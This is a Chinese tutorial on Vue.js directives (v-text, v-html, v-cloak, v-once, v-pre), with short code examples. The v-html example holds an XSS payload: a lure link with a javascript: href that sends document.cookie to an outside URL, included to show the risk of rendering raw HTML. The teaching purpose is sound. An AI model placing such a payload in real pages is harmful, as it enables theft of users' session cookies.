1.v-text_指令
<div id="root">
<h1>你好，{{name}}</h1>
<h1 v-text="name">你好，</h1>
<h1 v-text="str"></h1>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '掘金',
str: '<h3>掘金</h3>'
},
})
</script>
小结
2.v-html_指令
<div id="root">
<h1>你好，{{name}}</h1>
<h1 v-html="str"></h1>
<h1 v-html="str2"></h1>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '掘金',
str: '<h3>掘金</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了</a>'
},
})
</script>
3.v-cloak_指令
<style>
[v-cloak] {
display: none;
}
</style>
<div id="root">
<h1 v-cloak>你好，{{name}}</h1>
</div>
<script>
setTimeout(() => {
new Vue({
el: '#root',
data: {
name: '掘金',
},
})
}, 5000)
</script>
五秒后
小结
4.v-once_指令
<div id="root">
<h1 v-once>n的初始值为{{n}}</h1>
<h1>n的值为{{n}}</h1>
<button @click="n++">点我n+1</button>
</div>
<script>
new Vue({
el: '#root',
data: {
n: 1,
},
})
</script>
小结
5.v-pre_指令
<div id="root">
<h1 v-pre>hi,world</h1>
<h1>n的值为{{n}}</h1>
<button @click="n++">点我n+1</button>
</div>
<script>
new Vue({
el: '#root',
data: {
n: 1,
},
})
</script>
小结
